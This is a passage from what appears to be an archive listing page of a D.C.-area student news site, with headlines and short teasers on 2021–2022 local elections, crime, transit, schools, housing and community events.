Pennsylvanians prepared to cast their votes in the state’s closely watched gubernatorial and U.S. Senate elections, voters and political leaders across the aisle expressed concern about the state of democracy. - [Pennsylvania candidates focus on what’s at stake](https://thewash.org/2022/11/08/pennsylvania-candidates-focus-on-whats-at-stake/) - With just hours remaining in their midterm election campaigns, Pennsylvania’s leading Senate and gubernatorial candidates are traveling across the Commonwealth in a last-ditch effort to reach voters. - [Why are you here? Those who wait, share their stories](https://thewash.org/2022/11/08/why-are-you-here-those-who-wait-share-their-stories/) - President Joe Biden and former president Barack Obama took center stage in Philadelphia on Saturday to encourage voters to turn out for the tight U.S. Senate race and an election for governor on Tuesday. - [White supremacists stranded across Memorial Bridge, after unpermitted National Mall demonstration](https://thewash.org/2021/12/05/white-supremacists-stranded-across-memorial-bridge-after-national-mall-demonstration/) - A white nationalist hate group descended on the National Mall, sparking immense police presence. However, the demonstration was eclipsed by a disorganized departure which caused significant traffic disruptions. - [Transgender student rights indirectly on ballot in Loudoun](https://thewash.org/2022/11/07/transgender-student-rights-indirectly-on-ballot-in-loudoun/) - Transgender student rights are part of midterms as the Virginia Department of Education moves to scale back protections. - [Atmosphere around abortion issue tense in the District as midterms approach](https://thewash.org/2022/11/04/atmosphere-around-abortion-issue-tense-in-the-district-as-midterms-approach/) - Months after the fall of Roe v. Wade, the battle for reproductive rights in the District still rages. - [Local politician, national profile](https://thewash.org/2022/11/06/local-politician-national-profile/) - For some politicians, a rising national profile means losing touch with their constituents. For Maryland Democrat Jamie Raskin, his plugged-in supporters take a different view. - [Where does Ukraine count in the midterms?](https://thewash.org/2022/11/06/where-does-ukraine-count-in-the-midterms/) - Some voters in deep-blue Northern Virginia say they support U.S. military and humanitarian aid to Ukraine. But the election could affect U.S. policy under new congressional leadership. - [Bowser likely to win DC Mayor. But three opponents are taking her on.](https://thewash.org/2022/11/06/bowser-likely-to-win-dc-mayor-but-three-opponents-are-taking-her-on/) - In heavily Democratic Washington, D.C., three other candidates approach the city from a variety of views. - [Deciding whether ‘too old’ or ‘too young’ matters](https://thewash.org/2022/11/06/deciding-whether-too-old-or-too-young-matters/) - Voters consider whether candidates with 40-plus years of experience or new kids on the block make for better elected officials. The age question is ‘gaining traction.’ - [Maryland’s vote to legalize marijuana could impact racial injustice](https://thewash.org/2022/11/05/marylands-vote-to-legalize-marijuana-could-impact-racial-injustice/) - A constitutional amendment legalizing recreational cannabis is on the ballot, with polls showing large support. Advocates hope it will fight disproportionate impacts on racial minorities but some say it may not do enough. - [An ‘underdog’ story in D.C. Council race](https://thewash.org/2022/11/04/an-underdog-story-in-d-c-council-race/) - How does it feel to run as a Republican candidate in heavily Democratic Washington, D.C? - [3000 M St. saga may finally be at an end](https://thewash.org/2022/11/04/3000-m-st-saga-may-finally-be-at-an-end/) - With the D.C. Office of Zoning to vote on 3000 M St.'s planned unit development (PUD) application and map amendment this December, the ground could be broken on a new hotel with attached retail space as early as 2023. - [NPS changing its posture towards homeless encampments in the District](https://thewash.org/2022/11/01/nps-changing-its-posture-towards-homeless-encampments-in-the-district/) - The National Park Service is changing its posture toward homeless encampments located on Park Service land. - [West End Watch brings safety and security to Foggy Bottom](https://thewash.org/2022/11/01/west-end-watch-brings-safety-and-security-to-foggy-bottom/) - West End Watch, a modest email chain designed to keep Foggy Bottom safe, is subtly improving the safety and security of one of the District's liveliest neighborhoods. - [First Mobility District comes to Southwest D.C.](https://thewash.org/2022/11/01/first-mobility-district-comes-to-southwest-d-c/) - Mayor Bowser announced a new neighborhood initiative in Southwest D.C. that will make the Capital Waterfront more accessible to the city. - [Angry backlash forces a complete rebranding of a community safety forum](https://thewash.org/2022/11/01/angry-backlash-forces-a-complete-rebranding-of-a-community-safety-forum/) - The owner of Tryst wanted to hold a community forum focused on safety, so he agreed to host Coffee with a Cop. However, community backlash forced him to refocus the event onto homelessness. - [Arlington residents get a voice on where the DCA pedestrian bridge will be built](https://thewash.org/2022/11/01/arlington-residents-get-a-voice-on-where-the-dca-pedestrian-bridge-will-be-built/) - Here's everything you need to know for Arlington County’s pedestrian bridge to National Airport, before the Nov. 6th deadline to submit your opinion on where the bridge should be located. - [Despite challenges, colon cancer screenings are improving preventive healthcare in D.C.'s Ward 5](https://thewash.org/2022/11/01/despite-challenges-colon-cancer-screenings-are-improving-preventive-healthcare-in-d-c-s-ward-5/) - The “Colon Cancer Prevention in the Neighborhood” initiative helps community members to understand the importance of preventive colon cancer screenings. - [D.C. voters to decide how to compensate tipped workers](https://thewash.org/2022/10/25/d-c-voters-to-decide-how-to-compensate-tipped-workers/) - D.C. voters have a second opportunity to vote on how to compensate tipped workers this election day. If passed, Initiative 82 would steadily increase the minimum wage of service workers to match that of non-tipped workers. - [First public charter pre-k school in Ward 3 slated to open next August](https://thewash.org/2022/10/25/first-public-charter-pre-k-school-in-ward-3-slated-to-open-next-august/) - A tuition-free public charter pre-K would be beneficial for parents in Ward 3 that have few offered in neighborhood elementary schools. - [Preserving the past through oral history in Old Town](https://thewash.org/2022/10/25/preserving-the-past-through-oral-history-in-old-town/) - The Alexandria Office of Historic Preservation wants to document Old Town Alexandria’s ever-changing history through interviews. To achieve this, the city last month opened an Oral History Center aimed at preserving memories and stories through verbal interviews with community members. The Oral History Center is currently located at The Lloyd House on 220 North Washington - [On-site restaurants are game changers for hotels](https://thewash.org/2022/10/25/on-site-restaurants-are-game-changers-for-hotels/) - As more hotels partner with restaurants to create on-site eating options for guests, small businesses will have to compete with larger, chain restaurants for tourists' patronage. - [NoMa’s newest green space, Swampoodle Terrace, opens to the community](https://thewash.org/2022/10/25/nomas-newest-green-space-swampoodle-terrace-opens-to-the-community/) - The park is one of the final pieces of a decade-long plan to get more greenery and community spaces into the young and urban neighborhood. - [Ward 1 high schools hope for a change with a new education grant](https://thewash.org/2022/10/25/ward-1-high-schools-hope-for-a-change-with-a-new-education-grant/) - A wind of change is blowing over high schools in Ward 1, as Cardozo Education Campus won a grant two weeks ago to redesign its curriculum for the next school year. The other high school in Ward 1, Columbia Heights Educational Center, will have to wait. High schools in Ward 1 plan to change their - [Arlington welcomes the Marine Corps Marathon for the first time since Covid-19](https://thewash.org/2022/10/25/arlington-welcomes-the-marine-corps-marathon-for-the-first-time-since-covid-19/) - Arlington County will host the 47th annual Marine Corps Marathon this Sunday, the first in-person marathon since the beginning of the pandemic. Arlington residents can expect significant traffic delays and road closures. - [Live, work, play comes to Northwest D.C.](https://thewash.org/2022/10/25/live-work-play-comes-to-northwest-d-c/) - A new residential development is enticing its tenants to stay close to home for all their needs, the latest project in a trend seen across the district and country. - ['Cleveland Park needs a coffee shop' movement gains steam](https://thewash.org/2022/10/25/cleveland-park-needs-a-coffee-shop-movement-gains-steam/) - A movement to bring a coffee shop to cafeless Cleveland Park is gaining steam on social media and among local politicians. With vacant lots and plenty of demand, community members say all the neighborhood needs now is a willing business. - [Town of Vienna gears up for 76th annual Halloween parade Wednesday](https://thewash.org/2022/10/25/town-of-vienna-gears-up-for-76th-annual-halloween-parade-wednesday/) - The Town of Vienna’s 76th Halloween Parade is coming up this Wednesday. With costumes, floats and candy-filled goodie bags, parade-goers are in for a spooktacular time. - [Suspect flees from scene plowing Lexus into apartment in NE D.C. – new details emerge](https://thewash.org/2022/10/24/suspect-flees-from-scene-plowing-lexus-into-apartment-in-ne-d-c-new-details-emerge/) - A vehicle plowed through a family home at Clermont Apartments Sunday night, and the suspect is still at large. According to Metropolitan Police Department Public Information Officer Alaina Gertz, the driver of the vehicle fled the scene following the incident, which occurred at 11:18 P.M. at the 4500 block of Clement Drive NE. Officers De - [A zombie flash mob invades Adams Morgan](https://thewash.org/2022/10/23/a-zombie-flash-mob-invades-adams-morgan/) - A spooky dance, put on by the Adams Morgan BID, promoted Halloween and the last day of the 18th Street pedestrian zone. - [Why one Adams Morgan ANC commissioner brought a mural to his neighborhood](https://thewash.org/2022/10/18/why-one-adams-morgan-anc-commissioner-brought-a-mural-to-his-neighborhood/) - One of Peter Wood's goals as ANC Commissioner was to bring a mural to Adams Morgan. In his first year, he's done just that. - [Second Phase of Wharf development gets ready to open](https://thewash.org/2022/10/18/second-wharf-development-gets-ready-to-open/) - The Wharf is celebrating the long-awaited end to a 10 year revitalization project. - [Winter is coming -- and Ward 5 schools are unprepared](https://thewash.org/2022/10/18/winter-is-coming-and-ward-5-schools-are-unprepared/) - As cold temperatures set in, the District prepares for the annual cooling to heating switchover across public schools. But, hundreds of HVAC repairs are still pending. - [Hopkins renovation of old Newseum building underway](https://thewash.org/2022/10/18/hopkins-renovation-of-old-newseum-building-underway/) - Johns Hopkins University is renovating the former Newseum building on Pennsylvania Avenue. Hopkins' all D.C.-based schools are expected to move to Penn Quarter next fall while the Newseum continues to hold travel exhibits. - [Council committee to vote on bill to bring free period products to D.C. residents](https://thewash.org/2022/10/18/council-committee-to-vote-on-bill-to-bring-free-period-products-to-d-c-residents/) - The D.C. Council’s Committee on Housing and Executive Administration is expected to mark up Councilmember Brooke Pinto's Period Act on Friday. The legislation that would provide free period products in all women’s and gender-neutral bathrooms in government owned and operated buildings. - [Hamilton rocks Kennedy Center, brings buzz to Foggy Bottom](https://thewash.org/2022/10/18/hamilton-rocks-kennedy-center-brings-buzz-to-foggy-bottom/) - The iconic Kennedy Center hosted Hamilton for a successful 80-show run that brought chaotic prosperity to the streets of Foggy Bottom. - [After a series of closures nationwide, Alamo Drafthouse opens its next theater in Crystal City](https://thewash.org/2022/10/18/after-a-series-of-closures-nationwide-alamo-drafthouse-opens-its-next-theater-in-crystal-city/) - The new Alamo Drafthouse in Crystal City opens at a time when movie theaters are closing nationwide. American University Professor John Douglass says not all movie theaters will survive the rise of movie streaming. - [Disputes over proposed Connecticut Avenue bike lanes heat up](https://thewash.org/2022/10/11/disputes-over-proposed-connecticut-avenue-bike-lanes-heat-up/) - Residents along the major corridor connecting downtown D.C. and Maryland are divided over the plan to build protected bike lanes. - [High school embraces name change, renovations underway](https://thewash.org/2022/10/11/high-school-embraces-name-change-renovations-underway/) - After the D.C. Council approved the new Jackson-Reed name this March, the high school in Tenleytown has been making swift progress updating signage and merchandise, and students are adjusting to their new school identity. - [Sports betting grows into neighborhoods](https://thewash.org/2022/10/11/sports-betting-grows-into-neighborhoods/) - Washington, D.C. bars are hoping the draw of sports betting will help revive the city's shrinking club scene - [Libraries and their role in preventing book banning](https://thewash.org/2022/10/11/libraries-and-their-role-in-preventing-book-banning/) - With a rise in divisive arguments and banned books, libraries are finding ways to draw people together as they serve their communities. - [Alexandria Sewer Project aims to address flooding](https://thewash.org/2022/10/11/alexandria-sewer-project-aims-to-address-flooding/) - A new Old Town Alexandria project aims to address flooding in the area through proper wastewater management to clean the Potomac. - [Arlington Public Schools limiting attendance at athletic events](https://thewash.org/2022/10/11/arlington-public-schools-limiting-attendance-at-athletic-events/) - High school football season in Arlington County will look a little different this year. Arlington County Public Schools announced a new policy limiting attendance at all school sporting events due to safety concerns. - [D.C. Council considering bills to decriminalize street vending, set up zone in Columbia Heights](https://thewash.org/2022/10/11/d-c-council-considering-bills-to-decriminalize-street-vending-set-up-zone-in-columbia-heights/) - The D.C. Council will consider bills to decriminalize unlicensed street vendors and create a vending zone in Columbia Heights. The measures have been introduced by Ward 1 Councilmember Brianne Nadeau. - [Wardman site can still help city's affordable housing goals, advocates say](https://thewash.org/2022/10/11/wardman-site-can-still-help-citys-affordable-housing-goals-advocates-say/) - The redevelopment of the Wardman Park Hotel has become a point of controversy in the community. As Woodley Park readies for 900 new apartments across two buildings, some advocates are fighting to make them more affordable. - [Safety and post-pandemic slump dull Union Station’s shine](https://thewash.org/2022/10/11/safety-and-post-pandemic-slump-dull-union-stations-shine/) - Shuttered stores and recent crimes at the station elicit mixed reactions from Metro rail riders - [Catalytic converter thefts are on the rise. Here's how to keep your car safe.](https://thewash.org/2022/10/11/catalytic-converter-thefts-are-on-the-rise-heres-how-to-keep-your-car-safe/) - Officials are trying to help the community protect their vehicles amid the surge of catalytic converter thefts in Fairfax County. Here’s why these thefts may be surging, and the steps locals are taking to help keep your converters from getting stolen. - [Student suicide at GW shines spotlight on mental health](https://thewash.org/2022/10/04/student-suicide-at-gw-shines-spotlight-on-mental-health/) - A student suicide at the District's largest university has renewed the conversation around mental health and wellbeing among college students. - [D.C.’s faith-based organizations help combat food insecurity](https://thewash.org/2022/10/04/d-c-s-faith-based-organizations-help-combat-food-insecurity/) - The Franciscan Monastery and other religious institutions in D.C.’s Ward 5 donate thousands of pounds of produce per year to help feed the hungry. - [First back-to-normal NHL and NBA seasons bring hope to small businesses](https://thewash.org/2022/10/04/first-back-to-normal-nhl-and-nba-seasons-bring-hope-to-small-businesses/) - For many Americans, October means the beginning of the fall, chilly weather, and colorful leaves in their backyards. Nonetheless, the 10th month of the year also signifies another important milestone in American culture: back-to-back NHL and NBA debuts. On top of the millions following the two energetic seasons from their living rooms, an average of - [RFK Stadium is still an eyesore after five years](https://thewash.org/2022/10/04/rfk-stadium-is-still-an-eyesore-after-five-years/) - RFK Stadium in Southeast D.C. is still standing after five years of being abandoned. There is a new plan in place for demolition, but residents are hoping it will transform into something new to revitalize their community. - [Is there still a need for LGBTQ+ bars in D.C.? In short, yes.](https://thewash.org/2022/10/04/is-there-still-a-need-for-lgbtq-bars-in-d-c-in-short-yes/) - Lesbian bars have been closing nationwide. But two lesbian/queer bars in D.C. are surviving the trend and reshaping the narrative of what a lesbian and queer bar looks like. - [Metro Yellow Line Closure Creates an Opportunity for Virginia Railway Express](https://thewash.org/2022/10/04/metro-yellow-line-closure-creates-an-opportunity-for-virginia-railway-express/) - The VRE boosts its ridership by offering free rides. - [Location of new Amazon grocery store raises questions](https://thewash.org/2022/09/27/location-of-new-amazon-grocery-store-raises-questions/) - A new Amazon grocery store is coming to Dupont Circle, despite historic need in low income areas. - [Shooting at Union Station leaves one injured](https://thewash.org/2022/09/28/shooting-at-union-station-leaves-one-injured/) - Police responded to a gun fired in the west hall on Wednesday evening; suspects in custody - [DC woman advocates for suicide barriers on Taft Bridge](https://thewash.org/2022/09/27/dc-woman-advocates-for-suicide-barriers-on-taft-bridge/) - For one Woodley Park resident, the pursuit to reduce suicides on the Taft Bridge is personal. With support from some local officials, she is prepared to pursue the project for as long as it takes. - [Vacant properties are a growing epidemic](https://thewash.org/2022/09/27/vacant-properties-are-a-growing-epidemic/) - Abandoned buildings have increased since the COVID-19 pandemic and contains problems such as rodent infestations, trespassing, and safety hazards that are a cause of concern for residents. - [Some Arlington Transit riders will ride free beginning next month](https://thewash.org/2022/09/27/some-arlington-transit-riders-will-ride-free-beginning-next-month/) - Arlington County is offering discounts to ART bus riders amid decreased ridership due to the COVID-19 pandemic. County officials hope by making transit more equitable and accessible, it will enable the county to cut greenhouse gas emissions. - [Artists Go To War with Alexandria's Torpedo Factory](https://thewash.org/2022/09/27/artists-go-to-war-with-alexandrias-torpedo-factory/) - Artists are protesting a new re-jurying process that aims to revitalize and modernize Alexandria's Torpedo Factory. Artists protest a plan to revitalize Alexandria’s Torpedo Factory Art Center, saying the city’s new re-jurying process drives out long-established art center studio members. The City of Alexandria implemented the “Action Plan for Vibrancy & Sustainability” at the Torpedo - [Taste of Bethesda is back with booze](https://thewash.org/2022/09/27/taste-of-bethesda-is-back-with-booze/) - Local restaurants welcome the comeback of a popular dining event as an opportunity to reconnect with customers. - [Columbia Heights Latino restaurants struggle to benefit from Hispanic Heritage Month](https://thewash.org/2022/09/27/columbia-heights-latino-restaurants-struggle-to-benefit-from-hispanic-heritage-month/) - Hispanic restaurants in Columbia Heights are still reeling from the impact of the COVID-19 pandemic, and owners are hoping to capitalize on Hispanic Heritage Month as one way to attract customers. These owners know that one themed month is not enough to compensate for the losses caused by COVID-19. But, the month is just one - [Mural makeover: NoMa’s former Wendy’s covered by a 360-degree painting](https://thewash.org/2022/09/27/mural-makeover-nomas-former-wendys-covered-by-a-360-degree-painting/) - In its 2022 edition, D.C. Walls––NoMa’s annual mural festival since 2016––breathes fresh life into the former fast joint before its planned demolition next year. - [FCPS hosts Spanish workshop about gang prevention, supporting non-English speaking parents](https://thewash.org/2022/09/27/fcpsworkshop/) - Fairfax County Public Schools will host six workshops this fall in different languages for non-English speaking parents — including tonight, where officials will give a gang-violence prevention presentation in Spanish. - [Friendship Heights' mall down another retailer](https://thewash.org/2022/09/27/friendship-heights-mall-down-another-retailer/) - Decline of indoor mall shopping and effects of the pandemic have contributed to the deterioration of Chevy Chase Pavilion, where several stores have fled in recent years and CVS closed shop at the end of last month. - [Foggy Bottom group holds document-shredding event to protect against data theft](https://thewash.org/2021/12/07/foggy-bottom-group-holds-document-shredding-event-to-protect-against-data-theft/) - Although recent statistics reveal document theft to be a fading means of stealing information, residents feel shredding personal records provides some security. - [How Arts in Foggy Bottom used the pandemic as a creative outlet](https://thewash.org/2021/10/05/how-arts-in-foggy-bottom-used-the-pandemic-as-a-creative-outlet/) - The Arts in Foggy Bottom creative team saw the pandemic as an opportunity for inventiveness in its sculpture exhibit, crafting a show that responded to the pandemic in display and meaning. - [GW partners to improve healthcare access in Southeast DC](https://thewash.org/2021/11/02/gw-partners-to-improve-healthcare-access-in-southeast-dc/) - Residents east of the Anacostia river will have access to a wide array of health services provided by George Washington based physicians in 2024 at the new St. Elizabeth’s East hospital. Community outreach will play an important role in the process. - [The Washington National Opera returns to the Kennedy Center stage, alongside other arts groups](https://thewash.org/2021/11/16/the-washington-national-opera-returns-to-the-kennedy-center-stage-alongside-other-arts-groups/) - The Kennedy Center boasts a full 2021- 22 season after enduring an 18-month pandemic-induced hiatus and the fiscal challenges it created. - [Infograph: How does presidential impeachment work?](https://thewash.org/2019/10/02/infograph-how-does-presidential-impeachment-work/) - [GW administrators hear student grievances over handling of sexual assault cases](https://thewash.org/2021/10/19/gw-administrators-hear-student-grievances-on-sexual-assault-case-handling/) - Sexual assault survivors were given a platform to speak to administrators about the way university practices failed and continue to fail them in the aftermath of their assaults. A student organization proposed the listening session after student activist group “GW Protests Rapists” held a protest during commencement. - [Armed robbery on 14th Street in Columbia Heights](https://thewash.org/2021/12/10/armed-robbery-on-14th-street-in-columbia-heights/) - Upwards of $1000 worth of cash and several phones were stolen from Mobile X, a phone repair shop, the owner said. - [Empty streets and unused meters: Arlington County loses millions in parking meter revenue](https://thewash.org/2021/12/17/empty-streets-and-unused-meters-arlington-county-loses-millions-in-parking-meter-revenue/) - Roads with metered parking in Arlington County have become less valuable revenue sources for county funds after the COVID-19 pandemic halted the number of cars parking on streets. - [D.C. falls behind in sidewalk repairs, frustrating residents](https://thewash.org/2021/12/17/d-c-falls-behind-in-sidewalk-repairs-frustrating-residents/) - The District Department of Transportation has failed to complete as many sidewalk repairs as the year before, leaving some taxpayers to wonder why their hard-earned money isn’t being used to address their concerns. - [Elevator inspections fall behind in the wake of the COVID-19 pandemic](https://thewash.org/2021/12/17/elevator-inspections-fall-behind-in-the-wake-of-the-covid-19-pandemic/) - Elevator inspection records revealed flaws in the system, including a drop in inspections and safety checks during the pandemic. - [After nationwide rise in fatal drug overdoses, District updates residents on preventative methods](https://thewash.org/2021/12/16/after-nationwide-rise-in-fatal-drug-overdoses-district-updates-residents-on-preventative-methods/) - Hundreds of people died of opioid overdoses in D.C. in 2020. Advocates and officials hope to continue providing support with treatment and check-ins afterward. - [Adams Morgan neighborhood commissioners echo District-wide traffic fatality concerns](https://thewash.org/2021/12/16/adams-morgan-neighborhood-commissioners-echo-district-wide-traffic-fatality-concerns/) - The neighborhood commission unanimously passed a resolution calling for DDOT to implement more safety measures as 2021 crash deaths surpass 2020. - [Shaw Holiday Art Market returns for in-person shopping](https://thewash.org/2021/12/14/shaw-holiday-art-market-returns-for-in-person-shopping/) - Shaw’s Art Market was virtual in 2020, but this year residents can expect more direct engagement with artists the day of Dec. 18th. - [A tale of two fleets: ACPS and DASH offer glimpse into future of transportation in Alexandria](https://thewash.org/2021/12/14/a-tale-of-two-fleets-acps-and-dash-offer-glimpse-into-future-of-transportation-in-alexandria/) - State funding and a city-wide push for sustainability is increasing the number of electric buses on the road. Analyses of DASH and ACPS help show what’s to come. - [Residents, children block Brookland intersection advocating for safer streets](https://thewash.org/2021/12/12/residents-children-block-brookland-intersection-advocating-for-safer-streets/) - Community members gathered at the corner of 14th and Irving St. Northeast in remembrance of 5-year-old Allie Hart, who died after being hit by a car while on her bicycle earlier this year. - [Former Fairfax elementary teacher arrested for sexual battery of a minor](https://thewash.org/2021/12/11/former-fairfax-elementary-teacher-arrested-for-sexual-battery-of-a-minor/) - Police urge anyone who may have had a concerning interaction with suspect Roger McKay to contact the Major Crimes Bureau. - [Demonstrators call for end of U.S. foreign policy in Ethiopia amid civil war](https://thewash.org/2021/12/10/demonstrators-call-for-end-of-u-s-foreign-policy-in-ethiopia-amid-civil-war/) - Ethiopia has been in a civil war for over a year with former governing party Tigray People’s Liberation Front. Demonstrators outside the State Department on Friday say the Biden administration has undermined the democratically elected government by supporting TPLF. - [Two arrested after fight broke out on Orange Line Train, one suspect injured](https://thewash.org/2021/12/10/two-arrested-after-fight-broke-out-on-orange-line-train-one-suspect-injured/) - Police responded to a fight on a Metro train Friday morning that involved a box cutter. This is the latest instance of violence on public transit. - [First Ward 4 walk-up vaccination site opens at Petworth Library](https://thewash.org/2021/12/10/first-ward-4-walk-up-vaccination-site-opens-at-petworth-library/) - Residents of Ward 4 can now receive their COVID-19 vaccines and boosters along with a flu shot at the Petworth Neighborhood Library. - [Dave Thomas Circle, a confusing jumble of intersections, is dead at 36](https://thewash.org/2021/12/07/dave-thomas-circle-a-confusing-jumble-of-intersections-is-dead-at-36/) - The result of a gap in the L’Enfant Plan, Dave Thomas Circle was never meant to be born. - [Scooterist struck, injured in Central Business District](https://thewash.org/2021/12/09/scooterist-struck-injured-in-central-business-district/) - The accident comes during the tail end of the deadliest year in traffic fatalities in the district in nearly a decade. - [Person fires gun toward train at Columbia Heights Metro station](https://thewash.org/2021/12/09/person-fires-gun-toward-train-at-columbia-heights-metro-station/) - This shooting marks the second act of gunfire at the Metro station in the past two weeks. - [Supreme Court landmark abortion case could have historic repercussions](https://thewash.org/2021/12/09/supreme-court-landmark-abortion-case-could-have-historic-repercussions/) - Tensions outside the courthouse were high as the justices heard arguments limiting abortion access. - [Protestors shut down morning traffic on Capitol Hill](https://thewash.org/2021/12/07/protestors-shut-down-morning-traffic-on-capitol-hill/) - Five intersections closed and a total of 40 arrests made as protestors demand congressional action before the legislative session ends this week. - [With 39 traffic deaths this year, skepticism of city’s efforts swells](https://thewash.org/2021/12/07/with-39-traffic-deaths-this-year-skepticism-of-citys-efforts-swells/) - 2021 has been one of the most fatal years in traffic crashes despite measures like Vision Zero and changing traffic safety reporting procedures. Advocates and residents want greater action. Before 4B ANC Commissioner Evan Yeats came into office in 2019, he submitted his first traffic safety request for the intersection of Piney Branch Road NW - [Dump truck flips at eastern edge of the Palisades, trapped driver saved](https://thewash.org/2021/12/07/dump-truck-flips-at-eastern-edge-of-the-palisades-trapped-driver-saved/) - An on-scene Metropolitan Police Department officer said the brakes on the truck went out before tumbling into a local resident’s front yard. - [Public art evolves: Arlington updates master plan to prioritize equity, diversity](https://thewash.org/2021/12/07/public-art-evolves-arlington-updates-master-plan-to-prioritize-equity-diversity/) - Public art is evolving in Arlington County and an update to the public art master plan aims to meet new equity and diversity goals. - [One smile at a time: Dupont crossing guard spotlights more than just school route safety](https://thewash.org/2021/12/07/one-smile-at-a-time-dupont-crossing-guard-spotlights-more-than-just-school-route-safety/) - Thomas Tate has been brightening people’s days at the corner of New Hampshire and R Street for nearly 15 years. - [At Wah Luck House, Chinatown community takes care of its own](https://thewash.org/2021/12/07/at-wah-luck-house-chinatown-community-takes-care-of-its-own/) - The adult day care center at the Wah Luck House gears up for its official opening next month while doubling down on care services. - [Freedom Forum joins The Atlantic as tenants in Morris Adjmi’s newest property on Water Street](https://thewash.org/2021/12/07/freedom-forum-joins-the-atlantic-as-tenants-in-morris-adjmis-newest-property-on-water-street/) - The Freedom Forum’s announcement comes a year after the high-profile sale of its landmark Pennsylvania Avenue property, The Newseum, to Johns Hopkins in the face of financial troubles. - [Animals at the National Zoo seek herd immunity](https://thewash.org/2021/12/07/animals-at-the-national-zoo-seek-herd-immunity/) - Keepers are making progress vaccinating animals deemed high-risk for infection from Covid-19. The Wash spoke with zookeepers across the campus to confirm information about the shots. - [Nearly 1,500 Chevy Chase residents weigh in on future of local library](https://thewash.org/2021/12/07/nearly-1500-chevy-chase-residents-weigh-in-on-future-of-local-library/) - County leaders said they are pleased by the volume of public input. They plan to review comments later this month before deciding which building plan to add to the County Executive’s budget. - [New initiative to raise DC’s tipped minimum wage gathers steam, despite familiar criticism](https://thewash.org/2021/12/07/new-initiative-to-raise-dcs-tipped-minimum-wage-gathers-steam-despite-familiar-criticism/) - Advocates to raise the minimum wage for tipped workers in Washington, D.C., are gathering signatures three years after D.C. Council rejected a similar proposal. The new proposal, Initiative 82, aims to incrementally raise the minimum wage of workers who receive tips to full parity with the District’s general minimum wage by 2027. Under D.C. law, - [How U Street restaurants are preparing for Omicron in DC](https://thewash.org/2021/12/07/how-u-street-restaurants-are-preparing-for-omicron-in-dc/) - Along D.C.’s nightlife strip, the service industry is taking the Mayor’s new mask ‘recommendation’ seriously with news of the first positive cases of Omicron in the DMV. - [MoCo public schools experience dramatic spike in student violence](https://thewash.org/2021/12/07/moco-public-schools-experience-dramatic-spike-in-student-violence/) - County leaders are pushing for better mental health support in 2022. Meanwhile, students’ needs grow “more intense by the day.” - [Redevelopment plans moving forward for Bruce Monroe, Park Morton public housing units](https://thewash.org/2021/12/07/redevelopment-plans-moving-forward-for-bruce-monroe-park-morton-public-housing-units/) - Park Morton residents have been moving out of the complex for over a year in preparation for the redevelopment proposed over fifteen years ago. - [Protestors demand Sackler family to be prosecuted in wake of opioid crisis](https://thewash.org/2021/12/06/protestors-demand-sackler-family-to-be-prosecuted-in-wake-of-opioid-crisis/) - Families of victims of the opioid crisis say the Sackler family needs to be prosecuted for their role in the opioid crisis and for the way they marketed OxyContin. - [‘Love that chicken from Popeyes’: viral rat video sparks conversation in Capitol Hill](https://thewash.org/2021/11/30/love-that-chicken-from-popeyes-viral-rat-video-sparks-conversation-in-capitol-hill/) - As concerns over the state of health in many restaurants arise in Capitol Hill after the Popeyes incident, an ANC chair recommends implementing a new system of grading restaurants. - [Second fire on S 23rd St. in under 24 hours](https://thewash.org/2021/12/06/second-fire-on-s-23rd-st-in-under-24-hours/) - Fire Department investigates why a blaze at the same establishment reignited. - [Poor air quality poses major threat to Eckington, other neighborhoods in Ward 5: NASA study](https://thewash.org/2021/12/04/poor-air-quality-poses-major-threat-to-eckington-other-neighborhoods-in-ward-5-nasa-study/) - Overall air quality has improved in the District over the past several years, but the distribution of clean air is not equal. Now a new NASA study states those living in areas with poor air quality have a higher risk of health issues. - [James Parajon appointed Alexandria’s next city manager](https://thewash.org/2021/12/03/james-parajon-appointed-alexandrias-next-city-manager/) - Ending the five month long search, Alexandria City Council voted 5-1 to appoint James Parajon, deputy city manager of Arlington, Texas, as the next city manager. - [Two victims shot near a playground in Fort Totten](https://thewash.org/2021/12/03/two-victims-shot-near-a-playground-in-fort-totten/) - Witnesses said shootings are not uncommon in their neighborhood. - [‘All about unity.’ Ward 5 candidate emphasizes diversity at campaign event](https://thewash.org/2021/12/02/all-about-unity-ward-5-candidate-emphasizes-diversity-at-campaign-event/) - Ward 5 residents at Gordon Fletcher’s meet and greet worry about public safety, housing affordability and education. - [More than just park cleanup: CoHi religious group emphasizes importance of service](https://thewash.org/2021/11/30/more-than-just-park-cleanup-cohi-religious-group-emphasizes-importance-of-service/) - A park cleanup day in Columbia Heights led by the Baha’i Institute reminds community members of the importance and need for service. - [Labor shortages, high prices maintain grip on Logan Circle businesses through the pandemic](https://thewash.org/2021/11/30/labor-shortages-high-prices-maintain-grip-on-logan-circle-businesses-through-the-pandemic/) - When COVID-19 struck, many businesses across D.C. closed their doors and said goodbye to their staff. Now, Logan Circle businesses face a new challenge: getting their staff to come back. - [Rise in violent crime in NoMa creates anxiety for residents](https://thewash.org/2021/11/30/rise-in-violent-crime-in-noma-creates-anxiety-for-residents/) - The Metropolitan Police Department believes they are working to address residents’ safety concerns and reduce violent crime. - [‘He’s back!’ Santa Claus is here. This time, he’s vaccinated.](https://thewash.org/2021/11/30/hes-back-santa-claus-is-here-this-time-hes-vaccinated/) - Santa Claus is back at the Fashion Centre at Pentagon City until Christmas Eve. He and the rest of the staff are required to be vaccinated and parents have the choice to take photos socially distanced or on his lap. - [Farming the future: Family-owned MoCo farms bounce back](https://thewash.org/2021/11/30/farming-the-future-family-owned-moco-farms-bounce-back/) - Montgomery County family-owned farms faced losses due to the COVID-19 pandemic and commercialization, but future businesses look to rejuvenate the Agricultural Reserve. - [Here’s what you need to know about DC’s leaf blower ban](https://thewash.org/2021/11/30/heres-what-you-need-to-know-about-dcs-leaf-blower-ban/) - The sale and use of gas-powered leaf blowers will be prohibited in the District starting in January. Environmental advocates say it’s a move in the right direction. - [DC holiday market gives small businesses a chance to operate downtown](https://thewash.org/2021/11/30/dc-holiday-market-gives-small-businesses-a-chance-to-operate-downtown/) - Organizers hope the market will help small businesses engage with the downtown environment, a market that is typically out of their reach. - [An iconic late-night restaurant in Georgetown faces pressure to close early amid mounting neighborhood mischief and crime](https://thewash.org/2021/11/30/an-iconic-late-night-restaurant-in-georgetown-faces-pressure-to-close-early-amid-mounting-neighborhood-mischief-and-crime/) - George's King of Falafel and Cheesesteak is the only late-night restaurant in Georgetown, but their hours of operation may soon be forced to change after nearby residents expressed concerns about the restaurant's nightly crowds. - [Petworth leaders say ‘crews’ behind surge in violence](https://thewash.org/2021/11/30/petworth-leaders-say-crews-behind-surge-in-violence/) - As violence between long-standing groups has increased in Petworth, local leaders 